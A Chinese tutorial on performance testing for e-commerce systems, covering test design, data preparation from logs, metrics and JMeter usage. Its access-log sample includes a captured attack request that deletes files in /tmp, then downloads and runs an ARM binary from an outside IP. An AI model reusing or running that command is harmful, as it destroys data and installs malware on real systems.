实战 | 电商业务的性能测试(一): 必备基础知识

简介: ![](https://ceshiren.com/uploads/default/original/3X/7/5/756e5e8564a4e57c44190330107ba54ca7676e16.jpeg)- 需求分析与测试设计(性能需求目标+业务模型拆解)- 测试数据准备和构造(基于模型的数据准备)- 性能指标预期(性能需求目标)- 发压工具配置及脚本编写(压力策略)- 测试过程(

  • 需求分析与测试设计(性能需求目标+业务模型拆解)
  • 测试数据准备和构造(基于模型的数据准备)
  • 性能指标预期(性能需求目标)
  • 发压工具配置及脚本编写(压力策略)
  • 测试过程(预计的前置准备过程和压测时间点规划)
  • 结果分析与测试报告
  • 新上线系统性能测试:要求容量测试,系统最大容量
  • 系统升级类性能测试:和基线版本对比,性能不下降
  • 新系统性能优化测试:伴随调优目标的性能测试
  • 自己构造:自己抓包等,这个有个问题就是后端可能有缓存而造成对实际压力程度的影响
  • 日志获取:推荐常用,通过日志或数据库获取大批量的数据然后打散

$ cat access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head -15
4709 /sso/register
4703 /sso/login
157 400
139 /
  8 http://www.baidu.com/cache/global/img/gs.gif
  5 /index.php
  4 mstshash=Administr"
  4 /license.txt
  4 ip.ws.126.net:443
  4 "
  2 /sso/getAuthCode?telephone=17138134641
  2 /sso/getAuthCode?telephone=17127460936
  2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7
  2 /robots.txt
  2 /phpmyadmin/
  • 上下关联:
  • 1.每秒请求数(QPS)
  • 2.请求响应时间(最大,最小,平均值)
  • 3.错误率
  • 4.机器性能:cpu idel30%,memory无剧烈抖动或飙升
  • 5.压测过程接口功能是否正常
  • 6.不同性能测试方式下指标预期是否有差异
  • 压测场景:单接口/复杂事物——>场景构造
  • 压力需求:<1000QPS 或者万级以上的使用Jmeter分布式支持的方式
  • 是否周期性:Jmeter jmx场景文件,数据驱动,结果落库
  • 二次开发需求:Jmeter开源插件化思想,支持Thrift
  • 协议支持:Dubbo等多种协议,可以快速平台化
  • 问题支持:开放社区,广泛使用
  • 1、测试前环境检查:记录机器参数
  • 2、起压:根据被压情况,调节并发量到合适情况
  • 3、查看记录各项性能指标
  • nginx日志查看每秒请求数
  • 查看nginx错误请求
  • 查看机器参数:cpu idel、mem等
  • 查看db、cache等数据是否写入正常
  • 访问接口,查看功能是否正常

原文链接
更多技术分享:https://qrcode.ceba.ceshiren.com/link?name=article&project_id=qrcode&from=Aliyun&timestamp=1650618265
获取更多内容

相关文章
|
人工智能 算法 数据可视化
路径规划最全综述+代码+可视化绘图(Dijkstra算法+A*算法+RRT算法等)-2
路径规划最全综述+代码+可视化绘图(Dijkstra算法+A*算法+RRT算法等)-2
|
域名解析 监控 算法
阿里云拨测:主动探测Web应用质量,助力提升用户体验
阿里云拨测是一种针对互联网应用(Web页面、网络链路等)进行应用性能和用户体验监测的服务,无需嵌码即可为云上用户提供开箱即用的企业级主动拨测式应用监测解决方案。
8260 125
阿里云拨测:主动探测Web应用质量,助力提升用户体验
|
关系型数据库 MySQL
MySQL · 新特性分析 · 5.7中Derived table变形记
Derived table实际上是一种特殊的subquery,它位于SQL语句中FROM子句里面,可以看做是一个单独的表。MySQL5.7之前的处理都是对Derived table进行Materialize,生成一个临时表保存Derived table的结果,然后利用临时表来协助完成其他父查询的操作,比如JOIN等操作。MySQL5.7中对Derived table做了一个新特性。该特性允许将符合
7355 0
|
7月前
|
存储 分布式计算 DataWorks
阿里云助力富友数据中台革新,创新引擎赋能商户数字化经营
在电子商务和跨境交易蓬勃发展的背景下,第三方支付行业迎来爆发式增长,但也面临数据量激增、实时性瓶颈、高并发压力及成本效率失衡等挑战。富友支付通过引入MaxCompute、Hologres和DataWorks等技术,重构新一代数据仓库体系,实现高性能、高稳定性和降本增效,助力商户数字化经营,推动支付行业生态的可持续发展。
|
7月前
|
前端开发 JavaScript 应用服务中间件
前端跨域问题解决Access to XMLHttpRequest at xxx from has been blocked by CORS policy
跨域问题是前端开发中常见且棘手的问题,但通过理解CORS的工作原理并应用合适的解决方案,如服务器设置CORS头、使用JSONP、代理服务器、Nginx配置和浏览器插件,可以有效地解决这些问题。选择合适的方法可以确保应用的安全性和稳定性,并提升用户体验。
4762 90
|
11月前
|
SQL 关系型数据库 MySQL
大厂面试官:聊下 MySQL 慢查询优化、索引优化?
MySQL慢查询优化、索引优化,是必知必备,大厂面试高频,本文深入详解,建议收藏。关注【mikechen的互联网架构】,10年+BAT架构经验分享。
大厂面试官:聊下 MySQL 慢查询优化、索引优化?
|
10月前
|
机器学习/深度学习 人工智能 jenkins
探索软件测试中的自动化与持续集成
【10月更文挑战第21天】 在软件开发的生命周期中,软件测试扮演着至关重要的角色。随着技术的进步和开发模式的转变,自动化测试和持续集成已经成为提高软件质量和效率的关键手段。本文将深入探讨自动化测试和持续集成的概念、实施策略以及它们如何相互配合以优化软件开发流程。我们将通过分析实际案例,展示这些技术如何在实际项目中发挥作用,以及面临的挑战和解决方案。此外,文章还将讨论未来趋势,包括人工智能在测试领域的应用前景。
266 17
|
10月前
|
运维 Prometheus 监控
🎉 WatchAlert - 开源多数据源告警引擎【运维研发必备能力】
WatchAlert 是一个开源的多数据源告警引擎,支持从 Prometheus、Elasticsearch、Kubernetes 等多种数据源获取监控数据,并根据预定义的告警规则触发告警。它具备多数据源支持、灵活的告警规则、多渠道告警通知、可扩展架构和高性能等核心特性,帮助团队更高效地监控和响应问题。项目地址:https://github.com/opsre/WatchAlert
1204 18
🎉 WatchAlert - 开源多数据源告警引擎【运维研发必备能力】
|
9月前
|
SQL Java 数据库连接
【潜意识Java】深入理解MyBatis的Mapper层,以及让数据访问更高效的详细分析
深入理解MyBatis的Mapper层,以及让数据访问更高效的详细分析
1267 1
|
Java Maven Spring
如何在idea中创建Springboot项目? 手把手带你创建Springboot项目,稳!
文章详细介绍了在IDEA中创建Spring Boot项目的过程,包括选择Spring Initializr、配置项目属性、选择Spring Boot版本、导入依赖、等待依赖下载以及项目结构简介。
12579 1